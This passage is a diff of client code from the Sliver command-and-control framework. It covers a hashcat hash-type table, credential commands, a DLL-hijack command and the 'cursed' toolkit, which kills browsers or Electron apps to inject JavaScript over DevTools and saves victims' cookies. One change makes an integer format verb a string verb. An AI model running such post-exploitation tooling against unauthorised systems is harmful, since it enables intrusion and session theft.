13721: "VeraCrypt PBKDF2-HMAC-SHA512 + AES / VeraCrypt PBKDF2-HMAC-SHA512 + Serpent / VeraCrypt PBKDF2-HMAC-SHA512 + Twofish",
13722: "VeraCrypt PBKDF2-HMAC-SHA512 + AES-Twofish / VeraCrypt PBKDF2-HMAC-SHA512 + Serpent-AES / VeraCrypt PBKDF2-HMAC-SHA512 + Twofish-Serpent",
13723: "VeraCrypt PBKDF2-HMAC-SHA512 + Serpent-Twofish-AES",
13731: "VeraCrypt PBKDF2-HMAC-Whirlpool + AES / VeraCrypt PBKDF2-HMAC-Whirlpool + Serpent / VeraCrypt PBKDF2-HMAC-Whirlpool + Twofish",
13732: "VeraCrypt PBKDF2-HMAC-Whirlpool + AES-Twofish / VeraCrypt PBKDF2-HMAC-Whirlpool + Serpent-AES / VeraCrypt PBKDF2-HMAC-Whirlpool + Twofish-Serpent",
13733: "VeraCrypt PBKDF2-HMAC-Whirlpool + Serpent-Twofish-AES",
13741: "VeraCrypt PBKDF2-HMAC-RIPEMD160 + boot-mode + AES",
13742: "VeraCrypt PBKDF2-HMAC-RIPEMD160 + boot-mode + AES-Twofish",
13743: "VeraCrypt PBKDF2-HMAC-RIPEMD160 + boot-mode + AES-Twofish-Serpent",
13751: "VeraCrypt PBKDF2-HMAC-SHA256 + AES / VeraCrypt PBKDF2-HMAC-SHA256 + Serpent / VeraCrypt PBKDF2-HMAC-SHA256 + Twofish",
13752: "VeraCrypt PBKDF2-HMAC-SHA256 + AES-Twofish / VeraCrypt PBKDF2-HMAC-SHA256 + Serpent-AES / VeraCrypt PBKDF2-HMAC-SHA256 + Twofish-Serpent",
13753: "VeraCrypt PBKDF2-HMAC-SHA256 + Serpent-Twofish-AES",
13761: "VeraCrypt PBKDF2-HMAC-SHA256 + boot-mode + Twofish / VeraCrypt PBKDF2-HMAC-SHA256 + boot-mode + PIM + AES",
13762: "VeraCrypt PBKDF2-HMAC-SHA256 + boot-mode + Serpent-AES",
13763: "VeraCrypt PBKDF2-HMAC-SHA256 + boot-mode + Serpent-Twofish-AES",
13771: "VeraCrypt Streebog-512 + XTS 512 bit",
13772: "VeraCrypt Streebog-512 + XTS 1024 bit",
13773: "VeraCrypt Streebog-512 + XTS 1536 bit",
13800: "Windows Phone 8+ PIN/password",
13900: "OpenCart",
14000: "DES (PT = $salt, key = $pass)",
14100: "3DES (PT = $salt, key = $pass)",
14400: "sha1(CX)",
14500: "Linux Kernel Crypto API (2.4)",
14600: "LUKS",
14700: "iTunes backup < 10.0",
14800: "iTunes backup >= 10.0",
14900: "Skip32 (PT = $salt, key = $pass)",
15000: "FileZilla Server >= 0.9.55",
15100: "Juniper/NetBSD sha1crypt",
15200: "Blockchain, My Wallet, V2",
15300: "DPAPI masterkey file v1 + local context",
15400: "ChaCha20",
15500: "JKS Java Key Store Private Keys (SHA1)",
15600: "Ethereum Wallet, PBKDF2-HMAC-SHA256",
15700: "Ethereum Wallet, SCRYPT",
15900: "DPAPI masterkey file v2 + Active Directory domain context",
16000: "Tripcode",
16100: "TACACS+",
16200: "Apple Secure Notes",
16300: "Ethereum Pre-Sale Wallet, PBKDF2-HMAC-SHA256",
16400: "CRAM-MD5 Dovecot",
16500: "JWT (JSON Web Token)",
16600: "Electrum Wallet (Salt-Type 1-3)",
16700: "FileVault 2",
16800: "WPA-PMKID-PBKDF2",
16801: "WPA-PMKID-PMK",
16900: "Ansible Vault",
17200: "PKZIP (Compressed)",
17210: "PKZIP (Uncompressed)",
17220: "PKZIP (Compressed Multi-File)",
17225: "PKZIP (Mixed Multi-File)",
17230: "PKZIP (Mixed Multi-File Checksum-Only)",
17300: "SHA3-224",
17400: "SHA3-256",
17500: "SHA3-384",
17600: "SHA3-512",
17700: "Keccak-224",
17800: "Keccak-256",
17900: "Keccak-384",
18000: "Keccak-512",
18100: "TOTP (HMAC-SHA1)",
18200: "Kerberos 5, etype 23, AS-REP",
18300: "Apple File System (APFS)",
18400: "Open Document Format (ODF) 1.2 (SHA-256, AES)",
18500: "sha1(md5(md5($pass)))",
18600: "Open Document Format (ODF) 1.1 (SHA-1, Blowfish)",
18700: "Java Object hashCode()",
18800: "Blockchain, My Wallet, Second Password (SHA256)",
18900: "Android Backup",
19000: "QNX /etc/shadow (MD5)",
19100: "QNX /etc/shadow (SHA256)",
19200: "QNX /etc/shadow (SHA512)",
19300: "sha1($salt1.$pass.$salt2)",
19500: "Ruby on Rails Restful-Authentication",
19600: "Kerberos 5, etype 17, TGS-REP (AES128-CTS-HMAC-SHA1-96)",
19700: "Kerberos 5, etype 18, TGS-REP (AES256-CTS-HMAC-SHA1-96)",
19800: "Kerberos 5, etype 17, Pre-Auth",
19900: "Kerberos 5, etype 18, Pre-Auth",
20011: "DiskCryptor SHA512 + XTS 512 bit (AES) / DiskCryptor SHA512 + XTS 512 bit (Twofish) / DiskCryptor SHA512 + XTS 512 bit (Serpent)",
20012: "DiskCryptor SHA512 + XTS 1024 bit (AES-Twofish) / DiskCryptor SHA512 + XTS 1024 bit (Twofish-Serpent) / DiskCryptor SHA512 + XTS 1024 bit (Serpent-AES)",
20013: "DiskCryptor SHA512 + XTS 1536 bit (AES-Twofish-Serpent)",
20200: "Python passlib pbkdf2-sha512",
20300: "Python passlib pbkdf2-sha256",
20400: "Python passlib pbkdf2-sha1",
20500: "PKZIP Master Key",
20510: "PKZIP Master Key (6 byte optimization)",
20600: "Oracle Transportation Management (SHA256)",
20710: "sha256(sha256($pass).$salt)",
20711: "AuthMe sha256",
20720: "sha256($salt.sha256($pass))",
20800: "sha256(md5($pass))",
20900: "md5(sha1($pass).md5($pass).sha1($pass))",
21000: "BitShares v0.x - sha512(sha512_bin(pass))",
21100: "sha1(md5($pass.$salt))",
21200: "md5(sha1($salt).md5($pass))",
21300: "md5($salt.sha1($salt.$pass))",
21400: "sha256(sha256_bin($pass))",
21500: "SolarWinds Orion",
21501: "SolarWinds Orion v2",
21600: "Web2py pbkdf2-sha512",
21700: "Electrum Wallet (Salt-Type 4)",
21800: "Electrum Wallet (Salt-Type 5)",
22000: "WPA-PBKDF2-PMKID+EAPOL",
22001: "WPA-PMK-PMKID+EAPOL",
22100: "BitLocker",
22200: "Citrix NetScaler (SHA512)",
22300: "sha256($salt.$pass.$salt)",
22301: "Telegram Mobile App Passcode (SHA256)",
22400: "AES Crypt (SHA256)",
22500: "MultiBit Classic .key (MD5)",
22600: "Telegram Desktop < v2.1.14 (PBKDF2-HMAC-SHA1)",
22700: "MultiBit HD (scrypt)",
22911: "RSA/DSA/EC/OpenSSH Private Keys ($0$)",
22921: "RSA/DSA/EC/OpenSSH Private Keys ($6$)",
22931: "RSA/DSA/EC/OpenSSH Private Keys ($1, $3$)",
22941: "RSA/DSA/EC/OpenSSH Private Keys ($4$)",
22951: "RSA/DSA/EC/OpenSSH Private Keys ($5$)",
23001: "SecureZIP AES-128",
23002: "SecureZIP AES-192",
23003: "SecureZIP AES-256",
23100: "Apple Keychain",
23200: "XMPP SCRAM PBKDF2-SHA1",
23300: "Apple iWork",
23400: "Bitwarden",
23500: "AxCrypt 2 AES-128",
23600: "AxCrypt 2 AES-256",
23700: "RAR3-p (Uncompressed)",
23800: "RAR3-p (Compressed)",
23900: "BestCrypt v3 Volume Encryption",
24100: "MongoDB ServerKey SCRAM-SHA-1",
24200: "MongoDB ServerKey SCRAM-SHA-256",
24300: "sha1($salt.sha1($pass.$salt))",
24410: "PKCS#8 Private Keys (PBKDF2-HMAC-SHA1 + 3DES/AES)",
24420: "PKCS#8 Private Keys (PBKDF2-HMAC-SHA256 + 3DES/AES)",
24500: "Telegram Desktop >= v2.1.14 (PBKDF2-HMAC-SHA512)",
24600: "SQLCipher",
24700: "Stuffit5",
24800: "Umbraco HMAC-SHA1",
24900: "Dahua Authentication MD5",
25300: "MS Office 2016 - SheetProtection",
25400: "PDF 1.4 - 1.6 (Acrobat 5 - 8) - edit password",
25500: "Stargazer Stellar Wallet XLM",
25600: "bcrypt(md5($pass)) / bcryptmd5",
25700: "MurmurHash",
25800: "bcrypt(sha1($pass)) / bcryptsha1",
25900: "KNX IP Secure - Device Authentication Code",
26000: "Mozilla key3.db",
26100: "Mozilla key4.db",
26200: "OpenEdge Progress Encode",
26300: "FortiGate256 (FortiOS256)",
26401: "AES-128-ECB NOKDF (PT = $salt, key = $pass)",
26402: "AES-192-ECB NOKDF (PT = $salt, key = $pass)",
26403: "AES-256-ECB NOKDF (PT = $salt, key = $pass)",
26500: "iPhone passcode (UID key + System Keybag)",
26600: "MetaMask Wallet",
99999: "Plaintext",
}
func hashcatHashTypeName(mode int32) (string, bool) {
name, ok := hashcatHashTypes[mode]
return name, ok
}
func humanizeHashRate(rate uint64) string {
const unit = 1000
if rate < unit {
return fmt.Sprintf("%d H/s", rate)
}
value := float64(rate)
exp := 0
for value >= unit && exp < 5 {
value /= unit
exp++
}
suffixes := []string{"kH/s", "MH/s", "GH/s", "TH/s", "PH/s"}
if exp == 0 {
return fmt.Sprintf("%d H/s", rate)
}
if exp > len(suffixes) {
exp = len(suffixes)
}
return fmt.Sprintf("%.2f %s", value, suffixes[exp-1])
}
+1 -1
View File
@@ -25,7 +25,7 @@ func CrackHcstat2Completer(con *console.SliverClient) carapace.Action {
}
results = append(results, file.Name)
desc := fmt.Sprintf("%s (%d chunks, chunk size: %s)", byteCountSI(file.UncompressedSize), len(file.Chunks), byteCountSI(file.ChunkSize))
desc := fmt.Sprintf("%s (%s chunks, chunk size: %s)", byteCountSI(file.UncompressedSize), len(file.Chunks), byteCountSI(file.ChunkSize))
results = append(results, desc)
}
-14
View File
@@ -1,14 +0,0 @@
# client/command/creds
## Overview
Implements the 'creds' command group for the Sliver client console. Handlers map Cobra invocations to creds workflows such as ADD, hash types, RM, and select.
## Go Files
- `add.go` – Adds credentials to the client store via interactive or flag-based input.
- `commands.go` – Registers credential management commands and subcommands.
- `creds.go` – Lists stored credentials and formats them for display.
- `hash-types.go` – Enumerates supported hash types and their identifiers.
- `rm.go` – Removes credentials by ID or filter from the store.
- `select.go` – Selects credentials for use in other workflows, updating defaults.
-2
View File
@@ -1,7 +1,6 @@
package creds
import (
"github.com/bishopfox/sliver/client/command/completers"
"github.com/bishopfox/sliver/client/command/flags"
"github.com/bishopfox/sliver/client/command/help"
"github.com/bishopfox/sliver/client/console"
@@ -66,7 +65,6 @@ func Commands(con *console.SliverClient) []*cobra.Command {
(*comp)["hash-type"] = CredsHashTypeCompleter(con)
})
carapace.Gen(credsAddFileCmd).PositionalCompletion(carapace.ActionFiles().Tag("credential file"))
completers.RegisterLocalFilePathPositionalCompletion(credsAddFileCmd, 0)
credsAddCmd.AddCommand(credsAddFileCmd)
credsRmCmd := &cobra.Command{
+2 -2
View File
@@ -61,9 +61,9 @@ func printCollection(collection string, creds []*clientpb.Credential, con *conso
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
if collection != "" {
tw.SetTitle(console.StyleBold.Render(collection))
tw.SetTitle(console.Bold + collection + console.Normal)
} else {
tw.SetTitle(console.StyleBold.Render("Default Collection"))
tw.SetTitle(console.Bold + "Default Collection" + console.Normal)
}
tw.AppendHeader(table.Row{
"ID",
+6 -2
View File
@@ -8,8 +8,8 @@ import (
"strings"
"text/tabwriter"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/forms"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
)
@@ -55,7 +55,11 @@ func SelectCredential(plaintext bool, hashType clientpb.HashType, con *console.S
}
selected := ""
err = forms.Select("Select a credential:", options, &selected)
prompt := &survey.Select{
Message: "Select a credential:",
Options: options,
}
err = survey.AskOne(prompt, &selected)
if err != nil {
return nil, err
}
+2 -16
View File
@@ -1,17 +1,3 @@
# client/command/cursed
# Cursed
## Overview
Implements the 'cursed' command group for the Sliver client console. Handlers map Cobra invocations to cursed workflows such as cursed chrome, cursed console, cursed cookies, and cursed edge.
## Go Files
- `commands.go` – Exposes the cursed command suite and binds individual subcommands for supported targets.
- `cursed-chrome.go` – Launches or hijacks Chrome debugging sessions, locating executables and wiring remote control.
- `cursed-console.go` – Provides the interactive cursed console experience atop Chrome DevTools sessions.
- `cursed-cookies.go` – Fetches and displays browser cookies from an active cursed session.
- `cursed-edge.go` – Mirrors the Chrome workflow for Microsoft Edge, including process discovery logic.
- `cursed-electron.go` – Drives cursed interactions with arbitrary Electron apps, validating binaries and starting injected sessions.
- `cursed-rm.go` – Removes cursed sessions from the client cache and tears down associated resources.
- `cursed-screenshot.go` – Captures screenshots from a cursed browser context via DevTools APIs.
- `cursed.go` – Manages the cursed process registry, selection helpers, and remote debugger configuration defaults.
Cursed is a Sliver Chrome/Electron post-exploitation tool kit based on/integrated with [CursedChrome](https://github.com/mandatoryprogrammer/CursedChrome). Code injection is performed via the [DevTools protocol](https://chromedevtools.github.io/devtools-protocol/).
-5
View File
@@ -1,7 +1,6 @@
package cursed
import (
"github.com/bishopfox/sliver/client/command/completers"
"github.com/bishopfox/sliver/client/command/flags"
"github.com/bishopfox/sliver/client/command/help"
"github.com/bishopfox/sliver/client/console"
@@ -76,7 +75,6 @@ func Commands(con *console.SliverClient) []*cobra.Command {
flags.BindFlagCompletions(cursedChromeCmd, func(comp *carapace.ActionMap) {
(*comp)["payload"] = carapace.ActionFiles("js").Tag("javascript files")
})
completers.RegisterLocalFilePathFlagCompletion(cursedChromeCmd, "payload")
cursedChromeCmd.Flags().ParseErrorsWhitelist.UnknownFlags = true
carapace.Gen(cursedChromeCmd).PositionalAnyCompletion(carapace.ActionValues().Usage("additional Chrome CLI arguments"))
@@ -101,7 +99,6 @@ func Commands(con *console.SliverClient) []*cobra.Command {
flags.BindFlagCompletions(cursedEdgeCmd, func(comp *carapace.ActionMap) {
(*comp)["payload"] = carapace.ActionFiles("js").Tag("javascript files")
})
completers.RegisterLocalFilePathFlagCompletion(cursedEdgeCmd, "payload")
cursedEdgeCmd.Flags().ParseErrorsWhitelist.UnknownFlags = true
carapace.Gen(cursedEdgeCmd).PositionalAnyCompletion(carapace.ActionValues().Usage("additional Edge CLI arguments"))
@@ -133,7 +130,6 @@ func Commands(con *console.SliverClient) []*cobra.Command {
flags.Bind("", false, CursedCookiesCmd, func(f *pflag.FlagSet) {
f.StringP("save", "s", "", "save to file")
})
completers.RegisterLocalFilePathFlagCompletion(CursedCookiesCmd, "save")
cursedScreenshotCmd := &cobra.Command{
Use: consts.ScreenshotStr,
@@ -148,7 +144,6 @@ func Commands(con *console.SliverClient) []*cobra.Command {
f.Int64P("quality", "q", 100, "screenshot quality (1 - 100)")
f.StringP("save", "s", "", "save to file")
})
completers.RegisterLocalFilePathFlagCompletion(cursedScreenshotCmd, "save")
return []*cobra.Command{cursedCmd}
}
+6 -6
View File
@@ -23,19 +23,19 @@ import (
"errors"
"fmt"
"log"
insecureRand "math/rand"
"os"
"strings"
"time"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/core"
"github.com/bishopfox/sliver/client/forms"
"github.com/bishopfox/sliver/client/overlord"
"github.com/bishopfox/sliver/client/tcpproxy"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/util"
"github.com/spf13/cobra"
)
@@ -94,7 +94,7 @@ func CursedChromeCmd(cmd *cobra.Command, con *console.SliverClient, args []strin
}
if chromeExt != nil {
con.Printf("success!\n")
con.PrintInfof("Found viable Chrome extension %s (%s)\n", console.StyleBold.Render(chromeExt.Title), chromeExt.ID)
con.PrintInfof("Found viable Chrome extension %s%s%s (%s)\n", console.Bold, chromeExt.Title, console.Normal, chromeExt.ID)
con.PrintInfof("Injecting payload ... ")
cmd, _, _ := overlord.GetChromeContext(chromeExt.WebSocketDebuggerURL, curse)
// extCtxTimeout, cancel := context.WithTimeout(cmd, 10*time.Second)
@@ -120,10 +120,10 @@ func avadaKedavraChrome(session *clientpb.Session, cmd *cobra.Command, con *cons
if chromeProcess != nil {
con.PrintWarnf("Found running Chrome process: %d (ppid: %d)\n", chromeProcess.GetPid(), chromeProcess.GetPpid())
con.PrintWarnf("Sliver will need to kill and restart the Chrome process in order to perform code injection.\n")
con.PrintWarnf("Sliver will attempt to restore the user's session, however %s\n", console.StyleBold.Render("DATA LOSS MAY OCCUR!"))
con.PrintWarnf("Sliver will attempt to restore the user's session, however %sDATA LOSS MAY OCCUR!%s\n", console.Bold, console.Normal)
con.Printf("\n")
confirm := false
err = forms.Confirm("Kill and restore existing Chrome process?", &confirm)
err = survey.AskOne(&survey.Confirm{Message: "Kill and restore existing Chrome process?"}, &confirm)
if err != nil {
con.PrintErrorf("%s\n", err)
return nil
@@ -213,7 +213,7 @@ func startCursedChromeProcess(isEdge bool, session *clientpb.Session, cmd *cobra
con.PrintInfof("Waiting for %s process to initialize ... ", name)
time.Sleep(2 * time.Second)
bindPort := util.Intn(10000) + 40000
bindPort := insecureRand.Intn(10000) + 40000
bindAddr := fmt.Sprintf("127.0.0.1:%d", bindPort)
remoteAddr := fmt.Sprintf("127.0.0.1:%d", debugPort)
+8 -4
View File
@@ -26,9 +26,9 @@ import (
"strings"
"text/tabwriter"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/core"
"github.com/bishopfox/sliver/client/forms"
"github.com/bishopfox/sliver/client/overlord"
"github.com/reeflective/readline"
"github.com/spf13/cobra"
@@ -71,8 +71,12 @@ func selectDebugTarget(targets []overlord.ChromeDebugTarget, con *console.Sliver
table.Flush()
options := strings.Split(outputBuf.String(), "\n")
options = options[:len(options)-1] // Remove the last empty option
prompt := &survey.Select{
Message: "Select a debug target:",
Options: options,
}
selected := ""
err := forms.Select("Select a debug target:", options, &selected)
err := survey.AskOne(prompt, &selected)
if err != nil {
con.PrintErrorf("%s\n", err)
return nil
@@ -93,7 +97,7 @@ func startCursedConsole(curse *core.CursedProcess, helpers bool, target *overlor
tmpFile, _ := os.CreateTemp("", "cursed")
shell := readline.NewShell()
shell.History.AddFromFile("cursed history", tmpFile.Name())
shell.Prompt.Primary(func() string { return console.StyleRed.Render("cursed »") + " " })
shell.Prompt.Primary(func() string { return "\033[31mcursed »\033[0m " })
// EOFPrompt: "exit",
if con.Settings.VimMode {
@@ -111,7 +115,7 @@ func startCursedConsole(curse *core.CursedProcess, helpers bool, target *overlor
}
}
con.Printf("%s\n\n", console.StyleBold.Render(">>> Cursed Console, use ':help' for options"))
con.Printf(console.Bold+">>> Cursed Console, use ':help' for options%s\n\n", console.Normal)
for {
line, err := shell.Readline()
+10 -11
View File
@@ -21,10 +21,9 @@ package cursed
import (
"fmt"
"os"
"strings"
"time"
"encoding/json"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/overlord"
"github.com/spf13/cobra"
@@ -47,24 +46,24 @@ func CursedCookiesCmd(cmd *cobra.Command, con *console.SliverClient, args []stri
if len(cookies) == 0 {
return
}
saveFile, _ := cmd.Flags().GetString("save")
if saveFile == "" {
saveFile = fmt.Sprintf("cookies-%s.json", time.Now().Format("20060102150405"))
}
jsonBytes, err := json.MarshalIndent(cookies, "", " ")
if err != nil {
con.PrintErrorf("Failed to marshal cookies: %s\n", err)
return
jsonCookies := []string{}
for _, cookie := range cookies {
jsonCookie, err := cookie.MarshalJSON()
if err != nil {
con.PrintErrorf("Failed to marshal cookie: %s\n", err)
continue
}
jsonCookies = append(jsonCookies, string(jsonCookie))
}
err = os.WriteFile(saveFile, jsonBytes, 0o600)
err = os.WriteFile(saveFile, []byte(strings.Join(jsonCookies, "\n")), 0o600)
if err != nil {
con.PrintErrorf("Failed to save cookies: %s\n", err)
return
}
con.PrintInfof("Saved to %s", saveFile)
con.Println()
}
+4 -4
View File
@@ -23,9 +23,9 @@ import (
"os"
"strings"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/core"
"github.com/bishopfox/sliver/client/forms"
"github.com/bishopfox/sliver/client/overlord"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
@@ -77,7 +77,7 @@ func CursedEdgeCmd(cmd *cobra.Command, con *console.SliverClient, args []string)
}
if chromeExt != nil {
con.Printf("success!\n")
con.PrintInfof("Found viable Edge extension %s (%s)\n", console.StyleBold.Render(chromeExt.Title), chromeExt.ID)
con.PrintInfof("Found viable Edge extension %s%s%s (%s)\n", console.Bold, chromeExt.Title, console.Normal, chromeExt.ID)
con.PrintInfof("Injecting payload ... ")
cmd, _, _ := overlord.GetChromeContext(chromeExt.WebSocketDebuggerURL, curse)
// extCtxTimeout, cancel := context.WithTimeout(cmd, 10*time.Second)
@@ -103,10 +103,10 @@ func avadaKedavraEdge(session *clientpb.Session, cmd *cobra.Command, con *consol
if edgeProcess != nil {
con.PrintWarnf("Found running Edge process: %d (ppid: %d)\n", edgeProcess.GetPid(), edgeProcess.GetPpid())
con.PrintWarnf("Sliver will need to kill and restart the Edge process in order to perform code injection.\n")
con.PrintWarnf("Sliver will attempt to restore the user's session, however %s\n", console.StyleBold.Render("DATA LOSS MAY OCCUR!"))
con.PrintWarnf("Sliver will attempt to restore the user's session, however %sDATA LOSS MAY OCCUR!%s\n", console.Bold, console.Normal)
con.Printf("\n")
confirm := false
err = forms.Confirm("Kill and restore existing Edge process?", &confirm)
err = survey.AskOne(&survey.Confirm{Message: "Kill and restore existing Edge process?"}, &confirm)
if err != nil {
con.PrintErrorf("%s\n", err)
return nil
+6 -6
View File
@@ -22,18 +22,18 @@ import (
"context"
"fmt"
"log"
insecureRand "math/rand"
"path"
"time"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/core"
"github.com/bishopfox/sliver/client/forms"
"github.com/bishopfox/sliver/client/overlord"
"github.com/bishopfox/sliver/client/tcpproxy"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/util"
"github.com/spf13/cobra"
)
@@ -85,10 +85,10 @@ func avadaKedavraElectron(electronExe string, session *clientpb.Session, cmd *co
if electronProcess != nil {
con.PrintWarnf("Found running '%s' process: %d (ppid: %d)\n", path.Base(electronExe), electronProcess.GetPid(), electronProcess.GetPpid())
con.PrintWarnf("Sliver will need to kill and restart the process in order to perform code injection.\n")
con.PrintWarnf("%s\n", console.StyleBold.Render("DATA LOSS MAY OCCUR!"))
con.PrintWarnf("%sDATA LOSS MAY OCCUR!%s\n", console.Bold, console.Normal)
con.Printf("\n")
confirm := false
err = forms.Confirm("Kill and restart the process?", &confirm)
err = survey.AskOne(&survey.Confirm{Message: "Kill and restart the process?"}, &confirm)
if err != nil {
con.PrintErrorf("%s\n", err)
return nil
@@ -118,7 +118,7 @@ func avadaKedavraElectron(electronExe string, session *clientpb.Session, cmd *co
return curse
}
func checkElectronPath(electronExe string, _ *clientpb.Session, cmd *cobra.Command, con *console.SliverClient) (bool, error) {
func checkElectronPath(electronExe string, session *clientpb.Session, cmd *cobra.Command, con *console.SliverClient) (bool, error) {
ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{
Request: con.ActiveTarget.Request(cmd),
Path: electronExe,
@@ -175,7 +175,7 @@ func startCursedElectronProcess(electronExe string, session *clientpb.Session, c
con.PrintInfof("Waiting for process to initialize ... ")
time.Sleep(2 * time.Second)
bindPort := util.Intn(10000) + 40000
bindPort := insecureRand.Intn(10000) + 40000
bindAddr := fmt.Sprintf("127.0.0.1:%d", bindPort)
remoteAddr := fmt.Sprintf("127.0.0.1:%d", debugPort)
+2 -2
View File
@@ -22,9 +22,9 @@ import (
"context"
"strconv"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/core"
"github.com/bishopfox/sliver/client/forms"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/spf13/cobra"
)
@@ -44,7 +44,7 @@ func CursedRmCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
core.CloseCursedProcessesByBindPort(session.ID, bindPort)
if kill {
confirm := false
err := forms.Confirm("Kill the cursed process?", &confirm)
err := survey.AskOne(&survey.Confirm{Message: "Kill the cursed process?"}, &confirm)
if err != nil {
con.PrintErrorf("%s", err)
return
+8 -4
View File
@@ -21,15 +21,15 @@ package cursed
import (
"bytes"
"fmt"
insecureRand "math/rand"
"strconv"
"strings"
"text/tabwriter"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/core"
"github.com/bishopfox/sliver/client/forms"
"github.com/bishopfox/sliver/util"
"github.com/jedib0t/go-pretty/v6/table"
"github.com/spf13/cobra"
)
@@ -95,8 +95,12 @@ func selectCursedProcess(con *console.SliverClient) *core.CursedProcess {
table.Flush()
options := strings.Split(outputBuf.String(), "\n")
options = options[:len(options)-1] // Remove the last empty option
prompt := &survey.Select{
Message: "Select a curse:",
Options: options,
}
selected := ""
err := forms.Select("Select a curse:", options, &selected)
err := survey.AskOne(prompt, &selected)
if err != nil {
con.PrintErrorf("%s\n", err)
return nil
@@ -111,7 +115,7 @@ func selectCursedProcess(con *console.SliverClient) *core.CursedProcess {
func getRemoteDebuggerPort(cmd *cobra.Command) int {
port, _ := cmd.Flags().GetInt("remote-debugging-port")
if port == 0 {
port = util.Intn(30000) + 10000
port = insecureRand.Intn(30000) + 10000
}
return port
}
+3 -9
View File
@@ -1,10 +1,4 @@
# client/command/dllhijack
DLL Hijack
===========
## Overview
Implements the 'dllhijack' command group for the Sliver client console.
## Go Files
- `commands.go` – Registers the dllhijack command, its flags, and completions for selecting remote DLL targets.
- `dllhijack.go` – Performs the RPC call that plants a Sliver DLL alongside a target executable for hijacking.
Implements command related to `dllhijack`.
-2
View File
@@ -1,7 +1,6 @@
package dllhijack
import (
"github.com/bishopfox/sliver/client/command/completers"
"github.com/rsteube/carapace"
"github.com/spf13/cobra"
"github.com/spf13/pflag"
@@ -38,7 +37,6 @@ func Commands(con *console.SliverClient) []*cobra.Command {
(*comp)["file"] = carapace.ActionFiles()
(*comp)["profile"] = generate.ProfileNameCompleter(con)
})
completers.RegisterLocalFilePathFlagCompletions(dllhijackCmd, "reference-file", "file")
carapace.Gen(dllhijackCmd).PositionalCompletion(carapace.ActionValues().Usage("Path to upload the DLL to on the remote system"))
return []*cobra.Command{dllhijackCmd}
-38
View File
@@ -1,38 +0,0 @@
package edit
import (
"github.com/bishopfox/sliver/client/command/flags"
"github.com/bishopfox/sliver/client/command/help"
"github.com/bishopfox/sliver/client/console"
consts "github.com/bishopfox/sliver/client/constants"
"github.com/rsteube/carapace"
"github.com/spf13/cobra"
"github.com/spf13/pflag"
)
// Commands returns the edit command.
func Commands(con *console.SliverClient) []*cobra.Command {
editCmd := &cobra.Command{
Use: consts.EditStr,
Short: "Edit a remote text file",
Long: help.GetHelpFor([]string{consts.EditStr}),
Args: cobra.ExactArgs(1),
Run: func(cmd *cobra.Command, args []string) {
EditCmd(cmd, con, args)
},
GroupID: consts.FilesystemHelpGroup,
}
flags.Bind("", false, editCmd, func(f *pflag.FlagSet) {
f.String("syntax", "", "syntax highlighting lexer name (optional)")
f.Bool("syntax-select", false, "prompt to select syntax highlighting lexer")
f.Bool("line-numbers", false, "show line numbers")
f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
})
carapace.Gen(editCmd).PositionalCompletion(
carapace.ActionValues().Usage("path to the remote file to edit"),
)
return []*cobra.Command{editCmd}
}
-390
View File
@@ -1,390 +0,0 @@
package edit
import (
"context"
"errors"
"fmt"
"sort"
"strings"
"time"
"unicode/utf8"
tea "charm.land/bubbletea/v2"
"github.com/alecthomas/chroma/v2"
"github.com/alecthomas/chroma/v2/lexers"
"github.com/bishopfox/sliver/client/command/filesystem"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/forms"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/util/encoders"
"github.com/charmbracelet/colorprofile"
"github.com/spf13/cobra"
"golang.org/x/term"
"google.golang.org/protobuf/proto"
)
const beaconPollInterval = 1 * time.Second
// EditCmd downloads a remote text file, opens it in a TUI editor, and optionally uploads changes.
func EditCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
remotePath := strings.TrimSpace(args[0])
if remotePath == "" {
con.PrintErrorf("Missing parameter: remote path\n")
return
}
ctx, cancel := con.GrpcContext(cmd)
defer cancel()
ctrl := make(chan bool)
con.SpinUntil(fmt.Sprintf("Downloading %s ...", remotePath), ctrl)
download, err := downloadRemote(ctx, con, cmd, remotePath)
ctrl <- true
<-ctrl
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if download.Response != nil && download.Response.Err != "" {
con.PrintErrorf("%s\n", download.Response.Err)
return
}
if !download.Exists {
con.PrintErrorf("Remote file does not exist: %s\n", remotePath)
return
}
if download.IsDir {
con.PrintErrorf("Remote path is a directory: %s\n", download.Path)
return
}
data := download.Data
if download.Encoder == "gzip" {
data, err = new(encoders.Gzip).Decode(download.Data)
if err != nil {
con.PrintErrorf("Decoding failed %s\n", err)
return
}
}
if !isText(data) {
con.PrintErrorf("Refusing to edit non-text file: %s\n", download.Path)
return
}
path := download.Path
if path == "" {
path = remotePath
}
